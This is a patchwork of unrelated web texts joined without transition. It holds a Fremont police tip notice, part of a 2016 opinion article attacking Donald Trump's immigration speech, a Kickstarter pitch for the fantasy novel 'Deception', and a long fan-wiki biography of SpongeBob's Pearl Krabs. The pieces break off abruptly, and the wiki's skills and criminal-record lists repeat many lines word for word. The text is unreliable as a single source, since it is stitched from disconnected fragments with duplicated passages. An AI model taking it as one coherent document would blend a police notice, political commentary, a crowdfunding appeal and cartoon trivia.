Anyone with information about these incidents is asked to please contact Detective T. Macdonald at 510-790-6900 or email TMacdonald@Fremont.gov. We will also accept anonymous tips and information. To send Fremont Police an anonymous tip, text TIP FREMONTPD followed by your message to 888-777 or online at https://local.nixle.com/tip/alert/5733596.
Always dial 9-1-1 for assistance, if you believe you are witnessing a crime in progress.
Press/media contacts:
Diane Hendry
Fremont Fire Division Chief
510-494-4288 or Dhendry@fremont.gov
Geneva Bosques
Fremont Police Public Affairs Manager
When he stopped talking, the Rolling Stones’ “You Can’t Always Get What You Want” played. Because, in case you somehow don’t get it, none of this is even remotely true or workable.
Trump is maybe aware of this, and if he isn’t, surely some of the people in his orbit are, but for whatever reason he doesn’t care and clearly isn’t going to stop saying what he’s saying.
There is no Trump pivot
After a weeks-long flirtation with “softening” his position on immigration that culminated with a surprisingly banal joint press conference with Mexican President Enrique Peña Nieto, the Republican nominee reminded us on Wednesday night that Donald Trump is Donald Trump — and that’s not going to change.
Trump, to review, has no experience in elected or appointed government office. Nor does he have any interest in or knowledge of American public policy. But he did once say Barack Obama was born in Kenya and become a huge celebrity in Republican Party politics. He followed that up with the claim that the Mexican government is deliberately sending murderers and rapists to the United States.
That combination of racist attacks on the president of the United States and racist attacks on the entire Mexican-American population were good enough to vault him to the top of the GOP primary polling. They delivered him the nomination. And they’re clearly not enough to deliver him the presidency of the United States.
Republicans are full of wishful thinking
This turn of events has sparked a months-long bout of wishful thinking in Republican Party circles. “He’s not a policy guy,” one Republican Senate staffer once told me, as part of a loopy explanation that Trump would actually be a fine president because he’ll be so indifferent to policy matters that other people will just make all the decisions about everything.
The pivot, or softening, whatever you want to call it is just part and parcel of that same wishful thinking. That’s the moral of Wednesday night’s speech. There are no hidden depths to Trump. There’s just fear and demagoguery and nonsense. David Duke loved it.
Excellent speech by Donald Trump tonight. Deport criminal aliens, end catch and release, enforce immigration laws & America First. — David Duke (@DrDavidDuke) September 1, 2016
Trump portrays a world in which crime is skyrocketing (it isn’t) and illegal immigration is skyrocketing (it isn’t) and skyrocketing immigration explains skyrocketing crime (it doesn’t, because neither of those things is happening). He says he can build a 1,600-mile wall across the southern border at a reasonable cost (he can’t), and he says he will get Mexico to pay for its construction (he can’t). He says immigrants are depressing average Americans’ wages (they aren’t) and that Hillary Clinton has a plan for open borders (she doesn’t).
Trump is, on some level, surely aware that he is bullshitting. He worked in the real estate development industry and knows better than you or I do that the logistical requirements to undertake the wall project as he’s defined it are mind-boggling. At times, he’s even considered owning up to that fact.
I was told Trump & his advisers are concerned about making the wall feasible and ensuring it doesn't add to the budget deficit. — Sara Murray (@SaraMurray) September 1, 2016
Portions of the US-Mexico border, for example, run through roadless, uninhabited desert. To build a wall there, you would need to build roads to transport the material, build places for the workers to live, hire other workers to maintain the colony, and somehow pay everyone enough to make it worth their while to go live in a temporary camp in an uninhabited desert. It’s self-evidently absurd, and of course Mexico isn’t going to pay for it.
Trump is Trumps
Trump’s passion, however, isn’t for the details of border security or immigration economics. It’s for lurid tales of bloodshed. He opened the speech with long descriptions of a handful of people who’ve been murdered by illegal immigrants, and he closed it with testimonials from relatives of the deceased. Lurid fantasies about avenging these crime victims have dominated much of Trump’s “thinking” about politics ever since he made a splash with paid newspaper ads urging the execution of five young men who turned out to have been falsely accused of murder.
A normal person would feel ashamed to have once loudly and publicly advocating for the killing of five people for a crime they didn’t commit. Not Trump. “These young men do not exactly have the pasts of angels,” he wrote at the time. (Trump has bragged about punching his music teacher, which I guess is what angels do.) The one hint of moderation is that he said we should deport Hillary Clinton for unspecified crimes, which is much more restrained than earlier calls to have her locked up or maybe killed.
Trump is a person, not a cartoon. He can do a calm, controlled speech or even a calm, controlled week. But there is no calm, controlled, responsible version of Donald Trump the politician who can mount a sustained presidential campaign or who could serve for a sustained period of time in the Oval Office. As a political figure, Trump has always been a race-baiting, fearmongering demagogue and that’s not going to change. If that’s what you’re looking for in a president, then you’ll love the Trump administration. If you find it off-putting but you’re really into tax cuts, he’ll probably throw you those too.
But it’s long past time to stop expecting someone to pull off the Trump mask and find some kind of earnest, responsible politician lurking underneath. The Trump we saw Wednesday night is the Trump who accepted the Republican nomination six weeks ago is the Trump who descended the Trump Tower escalators in Manhattan a year ago.
This is the section where I am compelled to be a bit more serious in tone. Apologies in advance.
Introduction
I'm Matthew Upton and I'm looking for backers for the second book in my planned trilogy, The Wishing Box Chronicles (WBC). The title of this entry in the series is Deception and it picks up where the original novel (Perception) ended.
The Wishing Box Chronicles
The world of the WBC is unique in that each person's reality is altered by their fears, beliefs, and personalities. For instance, someone with arachnophobia might see spiders as 10 foot monsters and be at mortal risk when confronted by one. Others might have such a positive outlook on life that it actually causes them to succeed where others fail. In this way, each person has their own, slightly different reality that only they experience.
The First Book
Since the world of the WBC is governed by it, it only made sense for the first book's title to be Perception. Here we meet two teenagers from our own world, Sarah Campbell and Jeremy Pike, who are swept along in a set of circumstances they can't control and can just barely comprehend. We're also introduced to the friends and allies that will affect their adventure as well as a villainous army of Shapers who can change a person's reality at their very whim.
You can read the first 5 chapters of Perception at https://wishingboxchronicles.wordpress.com/the-book/ as well as a more in-depth synopsis of the story-line. The complete book is available through Amazon at http://www.amazon.com/gp/product/B00JF6TGFK for $2.99.
Deception
Deception continues the story by focusing on many of the mysteries the teenagers first encountered in Perception. What does it mean to be a Empath and how can Jeremy use his new skills? Where did the Wishing Box come from? Is there really an ancient "weapon" that can defeat the Shapers? As Sarah and Jeremy confront these questions they'll have to deal with pirates, kidnappings, strange beasts, and even help hunt a deadly spy.
In addition to the main storyline, Deception will also feature original artwork throughout. These are presented in the form of a bestiary; I've included a few examples here on the Kickstarter.
Thank You!
I began writing Perception while I was teaching (I taught biology at a high school level for 7 years). During that time I learned a great deal about reaching an audience, holding someone's interest, and working within a deadline. This period was invaluable in those respect. I'll be using those skills again in order to continue telling the story of Jeremy Pike and Sarah Campbell.
By backing this project, you will be playing a part in helping me finish the trilogy. I am mostly interested in having as many people as possible enjoy the book, so I hope you'll choose to be a part of the project in some form or fashion.
Thank you,
Pearl Krabs is a whale who lives in a hollow anchor with her father Mr. Krabs. When she grows up, her father wants her to continue the family business by inheriting the Krusty Krab and becoming its owner.[2] Pearl is currently employed as an assistant at Grandma's Apron, a store in the Bikini Bottom Mall.
She is a sperm whale with a very large head and no tail. The disparity in species between her and Mr. Krabs has never been directly explained in an episode, but the official trivia book states that she takes after her unseen mother. Stephen Hillenburg, the series' creator, was strongly against revealing the identity of Pearl's mom.
Just like real sperm whales, which have the biggest brain size of any extant species on Earth, Pearl's brain is the largest out of all the Bikini Bottom residents.[3] She is gifted in math, which is why Mr. Krabs would like it if she became a bookkeeper for his restaurant. However, she is still young and has not matured yet, so she spends most of her time and money at the mall.
Contents show]
Biography
Pearl was born to Mr. Krabs and Mrs. Krabs. She seems to have inherited most of her mother's physical traits and her father's small size. On the day Pearl was born, Mr. Krabs bought a celebration banner on sale. It had the words "it's a boy" on it, so he crossed boy out to write girl. Pearl has had the same bed, which her father got for $30, ever since she was a newborn.[4]
When Pearl was a baby, she was much smaller than Mr. Krabs and only had one little strand of hair tied in a bow.[5] She had a single tooth like Patrick.[6] As a toddler, Pearl gained a full head of hair, but was still shorter than her father. She grew taller than Mr. Krabs when she became a teenager. She has had a heart shape on the front of her face forever, indicating that it might not be lipstick.
Throughout her early childhood, Pearl was always babysat by Squidward Tentacles. She calls him "Uncle Squiddy."[7] He is not actually her uncle, but an honorary one (this title is often given by a parent of a child to a close family friend, like Squidward is to Mr. Krabs).
At one of Pearl's earliest birthday parties, all of her guests had to share one balloon.[8] At a later birthday party, Mr. Krabs performed a song called "Pearl's Me Daughter" and gave Pearl a pair of squeaky fishing boots that he later handed down to SpongeBob. On the day afterwards, he got her a pair of flipper slippers.[9] The book Nautical Nonsense reveals that on an unknown birthday, she and Mr. Krabs tried to see the musical Fiddler on the Reef but ended up seeing a "dive-in" movie after it was sold out. On Pearl's fifteenth birthday, Mr. Krabs passed out paper clips as party favors. She turns sixteen in "Whale of a Birthday" and has presumably stayed that age since.
Rather than enrolling Pearl in Mrs. Puff's Boating School, Mr. Krabs taught Pearl how to drive a boatmobile himself. He figured it would be too expensive to send her to Mrs. Puff's school since it costs $100 per semester.[10] Despite this, Pearl planned to take Mrs. Puff's course in the game The Yellow Avenger, in which she says she cannot drive yet. One level shows SpongeBob giving her a ticket for a free driving lesson at Mrs. Puff's school, and Pearl thanks him because she will finally be able to drive. Pearl must have ended up not using the ticket.
Pearl has attended Bikini Bottom High School for a long time. She is the tallest student by far and all of her peers know her, but she is not popular and has never had a steady group of friends. At one point, Pearl had braces. She had to visit the "orca-dontist" (an orthodontist for whales) when she first got them.[11]
Pearl has been on the high school cheer squad for at least two years. Her father thinks she is the "best little cheerleader in the seven seas." In the book Chuckle and Cringe, when Pearl was auditioning for her second year on the squad, SpongeBob tried to help. He figured the school coach could not turn down Pearl if she had her own personal cheerleader, so he became one by dressing up in his sweatshirt with Pearl's picture printed on the front. He then did a routine for Pearl, performing a cartwheel and yelling "P-E-A-R-L spells Pearl!" until he slid into the bleachers. All the while, Pearl performed a tryout cheer. The coach let her join, deciding that she definitely belonged on the team if she could remember a routine throughout so much chaos.[12]
In the future, Pearl will graduate from high school and go off to college.Her father desperately wants her to attend college, because if she does not, she will never leave home and he will have to support Pearl for the rest of her life. After she finishes college, Pearl will inherit her father's fortune and the Krusty Krab.Once she becomes the restaurant's owner, Pearl will assume all of the duties Mr. Krabs usually fulfills. Pearl is nervous about her future and does not want to disappoint Mr. Krabs. However, she does not share his interest in fast food management and would rather not work at the Krusty Krab while she is young.
In SpongeBob Comics No. 76 and No 77, the two-part epic "Untidaled" shows that Pearl once saved the entire town of Bikini Bottom from death and destruction. In the story, a fish-eating kraken traps all of the ocean water in a giant jar. It takes Pearl prisoner, which devastates Mr. Krabs, prompting him to lead the Krusty Krew on a dangerous journey to face the kraken and rescue her. However, it ends up taking them as well. At the insistence of Mr. Krabs, Pearl uses her loud and booming singing voice to crack the jar and rescue the Bikini Bottomites. As a celebration, she performs a song at the Krusty Krab after everything goes back to normal.
Pearl celebrates many holidays every year, mainly Christmas, Halloween, and Parents Day. Every Christmas, she gets horrible gifts from Mr. Krabs, such as old used batteries that "still have a little juice left in 'em."[13] On Halloween, she has dressed up as a witch and as the bride of Frankenstein. Pearl usually dreads having to celebrate Parents Day because her father is so awkward.[14]
Description
Pearl has gray skin and is very tall compared to the other characters. She has blonde hair that she ties in a ponytail with a pink scrunchie. There is a red heart shape on the bottom of her nose that turns into lips when she kisses. She has solid blue, oval-shaped eyes and six eyelashes on each eye. Pearl has five ventral pleats on her neck, usually drawn as five lines with the middle one longer than the rest. Usually, only four pleats are visible since she is normally seen from the side. Pearl is one of the few characters with one eye on each side of her head, meaning she has monocular vision.
Pearl's normal outfit is a pink cheerleader dress with a purple skirt and the letter "P" stitched on the front. She also sports white heeled boots, which are made of barnacles. One of Pearl's most common outfits is her prom dress, which she first wears in "The Chaperone." She has since used the dress for many different occasions, such as her birthday and the fake wedding between SpongeBob and Sandy in "Truth or Square." Pearl sometimes wears a pink tiara along with this dress. The type of pajamas Pearl wears changes throughout the show. She wears purple footie pajamas and a nightcap in earlier episodes, but as of "The Slumber Party," her pajamas are a pink and purple nightgown. Her current pajamas bear a strong resemblance to her normal attire, but with a different skirt and no "P" on the front of her shirt.
"Band Geeks" shows that, from a far-away aerial view, all of the other characters appear to be colored specks but Pearl's nose is oversized and clearly visible in the crowd. Similarly to SpongeBob's square body, Pearl's head is in the shape of a rectangular prism and it is drawn very differently when she is facing forward or from the back. Normally, her eyes are visible on the sides of her head when it is drawn from the front. However, they are occasionally not there.
Pearl has two different stop-motion forms. The first is seen in "It's a SpongeBob Christmas!" and related media based on the special. This version is a three-dimensional, plush/felt rendition of her normal look. The only difference is that she wears a knit winter hat and, in some scenes, a scarf. In "Whale Watching," a different stop-motion version of her appears when she goes on land. This form makes her look like a real sperm whale, complete with many sharp teeth and a tail. It is also a more blueish shade of gray than her usual skin color.
Stephen Hillenburg's original sketches of Pearl in his series bible (a book that outlined the show's main aspects, characters, and locations) were somewhat different from her appearance in season one. The first sketch of Pearl included a visible tail, and her hair was styled in pigtails instead of a ponytail. Pearl and Mr. Krabs's clothes had matching yellow and orange color schemes at first, but they were given individual colors sometime later in pre-production.[15]
Personality
Pearl is insecure, naïve, well-meaning, and high-spirited. She wants nothing more than to fit in with the other residents of Bikini Bottom, but this is impossible to do because she is literally the biggest teenager in the ocean. She is very friendly and trusting to her peers at the Bikini Bottom High School, despite how they usually are not the same way with her.
Pearl is a huge fan of Mecha Baleen (parody of DC Comics' Cyborg) and The Adventures of Mermaid Man and Barnacle Boy, but does not want any of her classmates at Bikini Bottom High School to know about her interests. She wishes she could spend her teenage years with good friends and become popular, but her peers are all too shallow to accept her for who she is. A running gag is that Pearl will have a completely different group of friends whenever she is seen hanging out with her classmates. They are very disloyal friends and usually laugh at Pearl, make fun of her, or abandon her. Sometimes, Pearl will even refer to another student as one of her best friends, only for that friend to completely disappear from the show after that episode. Aside from the main characters, the only friends Pearl has that have never betrayed her are the mermaids.
Aside from being gifted in math, Pearl's talents include cheerleading, playing the saxophone, and playing the piano.[16] She often keeps a pair of red or pink cheerleading pompoms with her. Being a whale, she shakes the ground whenever she tries to perform a cheerleading act and endangers whoever is in the same building as her. However, she does not seem to notice this and Mr. Krabs thinks she is very talented.[17]
Pearl is usually upbeat, unlike her dad, who can be crabby at times. Episodes such as "Mid-Life Crustacean" contrast Pearl's demeanor with Mr. Krabs' bitterness due to his old age. In the episode, Pearl makes him a big breakfast of bran products and feeds him his daily pill. She does this all while smiling incessantly, but Mr. Krabs is sour the entire time, saying "I hate the pill!" and then asking Pearl if he is out of touch.
Ironically, Pearl's favorite food is salad despite how sperm whales are the largest toothed predator currently on Earth. She also likes tea and Krabby Patties. SpongeBob's Book of Excuses reveals that she usually has Kelpo cereal for breakfast. "Best Frenemies" shows that Pearl once enjoyed Kelp Shakes, the addictive drinks served by the Kelpshake restaurant chain. This distressed Mr. Krabs greatly when he found out, since Kelpshake was a competing restaurant. "One Coarse Meal" reveals that Pearl does not eat plankton. This makes sense because toothed whales do not eat plankton; baleen whales do.
Since Pearl is a whale and mammals have lungs, she needs air to breathe. It is revealed in "Bubble Troubles" that she holds air in her nose in order to breathe when underwater. In order to get air to her lungs, she regularly goes to the water's surface and breaches. It is shown in "Bossy Boots" that Mr. Krabs taught her how to breach, although he is a crab and should not be able to.
Pearl's favorite place to visit is the Bikini Bottom Mall. She is the opposite of her father when it comes to spending; Mr. Krabs wants to save every penny he earns and is very stingy, but Pearl loves to spend big amounts of cash on superfluous things. She was the one who introduced the mermaids from the Bikini Bottom Triangle to the mall. Pearl convinced them to join her on a shopping spree by describing the mall as "the most awesome place to get the best, super-coolish, glittershly fabulous new stuff you want!"
Pearl's favorite television show is Mega Watts Dance, which broadcasts a weekly dancing contest similar to Dancing with the Stars.[18] The host of the program is Tom Sturgeon, one of Mr. Krabs' old friends. Pearl has some knowledge of dance fads such as "the Whack" and "the Sponge."
Several episodes hint that Pearl may have fantasies of becoming a famous movie star. "Culture Shock" shows that Mr. Krabs wants Pearl to become a star, and Pearl partially fulfills this dream in "Mermaid Man & Barnacle Boy VI: The Motion Picture." However, her role in Mermaid Man and Barnacle Boy's movie is far from glamorous; she plays the Invisible Boatmobile and her lines are all car noises. However, she comes to think that it is a great role after Mr. Krabs tells her that "Mermaid Man wouldn't be anywhere without you." In the comic Dye-ing for the Part, SpongeBob helps Pearl win a TV commercial audition.
Despite Pearl's huge brain and mathematical knowledge, she is still a kid, and can be immature at times. The fairy tales she heard as a child have impacted how she views life. As shown in "Married to Money," this has caused Pearl to have trouble distinguishing fantasy from reality. In the episode, she thinks that getting a stepmother would turn her life into the fairy tale Cinderella. She says to her father, "I have seen stepmoms in movies, Dad. She'll make me sweep up the cinders, and then she won't let me go to the ball! And then I'll never meet my Prince Charming!"
Pearl can get overdramatic and very emotional at times. A running gag is that whenever Pearl is upset, she will cry literal rivers of tears. This often results in flooding the Krusty Krab or whatever building she is in; as a matter of fact, the Krabs house has drain plugs built into the floors so the rooms can be emptied after Pearl cries or spouts water from the blowhole on her head. Whenever Mr. Krabs hears Pearl crying, he often says "Thar she blows!" or "Batten down the hatches!" as a warning to take cover from Pearl's crying. One of Nickelodeon's character descriptions for Pearl says: "When her famously frugal father Mr. Krabs gets the credit card bills, he's usually hopping mad. But Pearl knows how to play him like a cheap fiddle—after all, she does have the bigger brain. She just turns on the water works and melts his krusty old heart."[19]
Skills
Acting: In "As Seen on TV," Pearl portrays a customer in the Krusty Krab Commercial, and does so accurately to her character.
In "As Seen on TV," Pearl portrays a customer in the Krusty Krab Commercial, and does so accurately to her character. Knitting: In "Mall Girl Pearl," Pearl is shown to be a talented knitter with the help of Beatrice.
In "Mall Girl Pearl," Pearl is shown to be a talented knitter with the help of Beatrice. Making Krabby Patties : Pearl is able to make great Krabby Patties, although Patrick thinks SpongeBob's are a little better than Pearl's. She can make them because she knows the secret formula.
: Pearl is able to make great Krabby Patties, although Patrick thinks SpongeBob's are a little better than Pearl's. She can make them because she knows the secret formula. Math: Pearl is a very skilled math student because of her brain size. However, she does not like to use her math skills as a bookkeeper at the Krusty Krab or to count French fries.
Soccer : Pearl is great at being a goalie in soccer, because her head is so large that it fills the entire goal and prevents any soccer balls from entering.
: Pearl is great at being a goalie in soccer, because her head is so large that it fills the entire goal and prevents any soccer balls from entering. Basketball : In "The Chaperone," Pearl is revealed to know how to play basketball. She is good at playing it because she is so tall. In the episode, SpongeBob molds into the shape of a basketball so that Pearl can shoot a hoop with him.
: In "The Chaperone," Pearl is revealed to know how to play basketball. She is good at playing it because she is so tall. In the episode, SpongeBob molds into the shape of a basketball so that Pearl can shoot a hoop with him. Bicycling : "Selling Out" shows that Mr. Krabs taught Pearl how to ride a bicycle at a young age.
: "Selling Out" shows that Mr. Krabs taught Pearl how to ride a bicycle at a young age. Bubble art : Mr. Krabs says that Pearl is an expert bubble-blower in the Hooray for Dads! book, and she is able to rival SpongeBob's bubble skills.
: Mr. Krabs says that Pearl is an expert bubble-blower in the book, and she is able to rival SpongeBob's bubble skills. Playing the tuba and piano : Pearl can play both the tuba and the piano, as revealed in "Band Geeks" and "Barnacle Face." The Krabs house has a grand piano in it.
: Pearl can play both the tuba and the piano, as revealed in "Band Geeks" and "Barnacle Face." The Krabs house has a grand piano in it. Strength: Due to her enormous height, Pearl has been shown to utilize her strength on numerous occasions. She can cry to the point of creating a flood; her tears can also be used to break through walls, as seen in "Whale Watching." She had the ability to break through the second floor of her house in "Whale of a Birthday" and is also used as a racecar in "Mermaid Man & Barnacle Boy VI: The Motion Picture."
Occupations
Pearl works as an assistant at Grandma's Apron, a store on the bottom floor of the Bikini Bottom Mall. The other students of Bikini Bottom High think that it is the lamest store, but Pearl absolutely loves it there and does not care what they think about it. Her favorite things to do at Grandma's Apron include sitting in a rocking chair, dusting tchotchkes, baking cookies, and knitting all kinds of clothes for herself.
When she grows older, Pearl will inherit the Krusty Krab from her father and become the owner. Her future inheritance of the place is a plot point in the 2017 Broadway musical and a focus of "Daddy Knows Best," the song that Pearl sings in the production. Until she grows up, Pearl holds various occasional positions at the restaurant. It is shown in "Welcome to the Bikini Bottom Triangle" that Pearl manages the Krusty Krab whenever Mr. Krabs cannot. In these situations, she takes over both SpongeBob and Squidward's jobs, cooking Krabby Patties and serving them to customers. She has her own Krusty Krab employee hat, spatula, and cook apron.
In the original draft of "What Ever Happened to SpongeBob?" and the book the episode is based on, For the Love of Bubbles, Pearl fills in for SpongeBob as the Krusty Krab's fry cook. Clowning Around, the comic Daze Off, and the episode "Welcome to the Bikini Bottom Triangle" feature her in this position as well. As revealed in "Enemy In-Law," the Krabby Patty Secret Formula is an old Krabs family recipe that all of Mr. Krabs' relatives know. Pearl has knowledge of the formula, but will never reveal it.
Creation and development
Pearl was one of the first five characters that Stephen Hillenburg created for the series.[15] He was inspired to create a whale character while working at the Ocean Institute in California, where he tended to a whale skeleton exhibit and supervised whale watches.[20]
In Hillenburg's first sketch of the SpongeBob characters, Pearl had flukes (a tail) and pigtails. He made Pearl a whale rather than a crab like her father because he wanted each member of the main cast to be a different species, which allowed their character designs to have variety and be more interesting.[15] Pearl was named after the phrase mother-of-pearl, a common term for the inner layer of some sea-dwelling mollusks' shells. Her lack of a mother is a reference to the phrase as well.
At first, Pearl's full name was Pearl Crabs and she lived at the Krusty Krab (then called the Crusty Crab) with her father. However, Stephen Hillenburg decided that it would be funnier and more memorable to replace the C's with K's. He also figured it would be more practical to have the Krabs family dwell in a house rather than their restaurant, so he designed an anchor home for them to live in.
When he was first developing them as characters, Hillenburg wanted Pearl and Mr. Krabs to travel around town in a caravan boat with a whale-sized teardrop trailer connected to the back. The trailer did make it into the series, but it was only used rarely in early episodes such as "Squeaky Boots." However, it did make a reappearance in the season nine episode "Food Con Castaways."
Major aspects of Pearl's personality from when SpongeBob was first pitched to Nickelodeon were her large brain, intelligence, and insecurity about liking stereotypically nerdy hobbies. These were outlined on her original character biography, but they were mostly phased out after a while. "Mall Girl Pearl" marked the return of these traits, particularly her insecurity about liking "lame" pastimes.
Voice
Lori Alan voices Pearl. When Alan first auditioned for the role, she was shown an early drawing of the main characters. Her first reaction was noticing how tall Pearl was compared to the others, so she wanted to make Pearl's voice reflect her large size. She did this by making it deep and full in tone. Alan has described Pearl as having an "abnormally large voice" while still sounding "spoiled and lovable" and "somewhat like a child."[21] The casting crew at her audition wanted Pearl's voice to be loud "without sounding like a special-needs child," fearing that it might come across as offensive if they chose a voice too exaggerated.[22] When Lori Alan read a script with the voice that Pearl had in season one, they did not ask her to modify it at all; the casting directors said "no, that's her!" and immediately knew they wanted to have Alan play Pearl.[22]
Rodger Bumpass, who voices Squidward, has praised Lori Alan's portrayal of Pearl, calling it a "unique and wonderful take on how this teenager should be ... No one else has a teenager that sounds like Pearl."[23]
"Daddy!" has become one of Pearl's catchphrases, said whenever she needs to call Mr. Krabs. This was developed as a quote before the first season started airing, but it did not become a repeated line until later on. Lori Alan knew to emphasize the line whenever she had to say it after a recording session in 1998, when an unused rehearsal script had the line fully capitalized as "DAAAADDY!"[23]
Throughout the series, Pearl's voice has gone through some slight changes. In the first season, her voice was more quiet, less exaggerated, and somewhat raspy at times. Over the course of the show, her voice has become higher-pitched and more clear. In episodes from the ninth season onwards, Pearl has developed a habit of placing unusual emphasis on some single-syllable words. This is especially noticeable in "Married to Money" and "Bulletin Board," when she says "Gross!" and "Oh!" respectively.
Residence
Pearl lives in an anchor with her father at 3451 Anchor Way in Bikini Bottom. While most of the house has wooden walls and a nautical theme, Pearl's bedroom is very different from the rest of the rooms in terms of appearance. The walls are turquoise with a flower print pattern. Band posters and sports flags can usually be seen on the walls. Behind Pearl's bed is a photo of her surfing above the surface. Her room is on the top floor of the house, which is an absurd decision on Mr. Krabs' part because Pearl is so heavy and has broken through her room's floor before.
There are many photos of Pearl throughout the house, in addition to some of generic sperm whales whose relation to the Krabs family are unclear. One of the paintings shows a sperm whale of normal size swimming under a boat. Another shows a pink-red Mr. Krabs next to a yellow Pearl.
Family
Main article: Krabs family
Mother
Pearl's mother, Mrs. Krabs, was another sperm whale who married Mr. Krabs long before "Help Wanted." Pearl is the biological offspring of this whale and Mr. Krabs, and as stated in SpongeBob SquarePants Trivia Book, she simply takes after her mother rather than her father. Pearl's mother has somehow left Bikini Bottom, although the details are unclear. Rodger Bumpass and Lori Alan stated in 2015 that her whereabouts are secret and joked that Mrs. Krabs was taken to SeaWorld, implying that she is still alive.[24]
Mrs. Krabs' absence has negatively affected both members of the immediate Krabs family. Mr. Krabs mentions his former wife often; he says "Mother of Pearl!" whenever he is startled or shocked, the first instance of this being in "MuscleBob BuffPants." Since he only uses this phrase when he is dismayed or frightened, it is possible that Mrs. Krabs' departure was tragic. As shown in "Krusty Love," Mr. Krabs has become very lonely ever since Mrs. Krabs left. While he is ready to love again and has entered a relationship with Mrs. Puff, Pearl is not keen on the idea of a new mother. In "Married to Money," when a happy Mr. Krabs tells her after meeting Cashina, "I may have found you a new mom." This greatly upsets Pearl, who responds "No way!" and begins to describe how terrible a stepmother would be. It is unknown if Pearl ever knew her mother, but her immediate objection to the idea of a stepmom implies she does not want a replacement.
Photos of Pearl's early life seen in "Selling Out" hint that Mrs. Krabs was taken away while Pearl was just a baby. The pictures all show Mr. Krabs taking care of Pearl alone. As seen in "Bossy Boots," Mr. Krabs had to teach Pearl important whale skills such as breaching all by himself. It is implied that Mr. Krabs has not told anyone from his side of the Krabs family about Pearl, most notably his grandfather Redbeard. In his only appearance, Redbeard mistakes Pearl for a monster and orders for her to be killed. It is highly possible that whales are discriminated by crabs, which is why Mr. Krabs has never told his family about Pearl or, presumably, Mrs. Krabs.
Stephen Hillenburg was strongly against directly revealing the identity and whereabouts of Pearl's mother in an actual episode, so he kept it a secret.[25] According to Vincent Waller, Hillenburg received many letters requesting an origin story for Pearl.[26] A plot outline for a special episode revealing her origin was once written and it started early development stages, but the episode has been shelved for an unknown period of time due to Hillenburg's disapproval of the concept.[26]
Antagonistic roles
Although Pearl usually doesn't cause issues, some of her decisions lead to severe problems. She has shown similar traits to Patrick's antagonism: selfishness, lack of consideration of others, and lack of remorse. Sometimes she can be more selfish than Mr. Krabs.
In "Scaredy Pants," Pearl cries about Mr. Krabs embarrassing her instead of helping him when he chokes on an apple.
In "Selling Out," Pearl yells at Mr. Krabs for wanting to spend time with her.
In "The Slumber Party," Pearl locks Mr. Krabs out of the house to prevent him from ruining her slumber party. She and her friends later attack Girly TeenGirl, who she thought was SpongeBob, causing Girly to run away crying. They also torture SpongeBob when he tries to get in the party, with Pearl going as far as to deem SpongeBob as bad as Mr. Krabs. When SpongeBob ruins the party, Pearl forces Mr. Krabs to spend his money on a new party and refuses to invite SpongeBob or Mr. Krabs.
In "Tentacle-Vision," she takes Mr. Krabs' wallet for money and disrupts Squidward's show with her destructive cheerleading.
In "Growth Spout," Pearl threatens to eat Mr. Krabs' money when he does not want to feed her.
In "Welcome to the Bikini Bottom Triangle," she demands to go to the mall, even though she and the others are trapped in a deserted island with no way to get home.
In "Tunnel of Glove," Pearl attempts to leave the ride, but ends up trapping her and SpongeBob from doing so.
In "Drive Thru," Pearl and her friends yell into Squidward's ear using a megaphone, causing him a major ear injury.
In "Mr. Krabs Takes a Vacation," Pearl mistreats SpongeBob when they're about to leave. At the end of the episode, she takes the two dollars that were rewarded to both SpongeBob and Mr. Krabs to pay for a pair of shoes, which causes Mr. Krabs to cry.
In "Safe Deposit Krabs," Pearl yells at SpongeBob for no reason, when SpongeBob was trying to inform her that her dad was missing.
In "Whale Watching," Pearl escapes the house to attend the wild party with her friends while Squidward babysits her.
Criminal record
Assault: In "The Slumber Party," Pearl and her friends drop a piano on SpongeBob in response to his attempts to join their sleepover, injuring him in the process. In "Drive Thru," Pearl and her friends yell into Squidward's ear using a megaphone, causing him a major ear injury.
In "The Slumber Party," Pearl and her friends drop a piano on SpongeBob in response to his attempts to join their sleepover, injuring him in the process. In "Drive Thru," Pearl and her friends yell into Squidward's ear using a megaphone, causing him a major ear injury. Endangerment: In "The Slumber Party," she locks Mr. Krabs out of his own house to prevent him from ruining her slumber party.
In "The Slumber Party," she locks Mr. Krabs out of his own house to prevent him from ruining her slumber party. Reckless driving: In "Tutor Sauce," Pearl is told by Mr. Krabs' that driving without a license is acceptable, leading her to do so, and with dangerous results. However, it is mostly Mr. Krabs' fault.
In "Tutor Sauce," Pearl is told by Mr. Krabs' that driving without a license is acceptable, leading her to do so, and with dangerous results. However, it is mostly Mr. Krabs' fault. Theft: In "Tentacle-Vision," she uses Mr. Krabs' money without his consent. She does this again at the end of "Mr. Krabs Takes a Vacation," where she steals two dollar bills that were rewarded to SpongeBob and Mr. Krabs and uses them to pay for new shoes.
In "Tentacle-Vision," she uses Mr. Krabs' money without his consent. She does this again at the end of "Mr. Krabs Takes a Vacation," where she steals two dollar bills that were rewarded to SpongeBob and Mr. Krabs and uses them to pay for new shoes. Threat: In "Growth Spout," she threatens to eat Mr. Krabs' money if he does not feed her.
In "Growth Spout," she threatens to eat Mr. Krabs' money if he does not feed her. Unlicensed driving: In "Tutor Sauce," Pearl takes Mr. Krabs' advice to drive without a license. However, it is mainly Mr. Krabs' fault for giving her inappropriate advice.
Relationships
Pearl and SpongeBob are good friends, but their relationship is more complex than that. It is unknown when SpongeBob met Pearl, and their first encounter has never been shown or described. "The Chaperone" is the first instance they interact in the series, but they are already familiar with each other. In the episode, Pearl's old boyfriend Octavius Rex rudely stands her up and SpongeBob is volunteered to be her new date. He spends an entire night preparing to ensure it will be a special prom for Pearl, showing that he really cares for her. The wording SpongeBob uses in this episode implies that he is her new boyfriend: he says to Gary, "how am I supposed to compare with Pearl's old boyfriend?" SpongeBob then makes his own attire so that he will be long, tan and handsome like Octavius. He inadvertently messes everything up at the prom, but Pearl ends up having fun. SpongeBob, however, feels bad and thinks he ruined Pearl's night so he cries. Pearl cheers him up by dancing with him and they have a good time. When they return to the Krabs house later, they hold arms and look into each other's eyes until Mr. Krabs startles them.
Other episodes show a running theme of SpongeBob going to extreme measures just to help Pearl. He is often even friendlier to Pearl than he is to Mr. Krabs, in spite of his undying loyalty to his boss. In "Barnacle Face," SpongeBob makes it his duty to rid Pearl of barnacles growing on Pearl's face. She needs them off before the big school dance. SpongeBob starts by trying to scrape them off, then tries to use a jackhammer on them, and then tries to hide them with concealer. Nothing works, so he uses all of Mr. Krabs' priceless jewels to hide the barnacles and make Pearl's face sparkle. This is one example of how SpongeBob can care for Pearl more than Mr. Krabs.
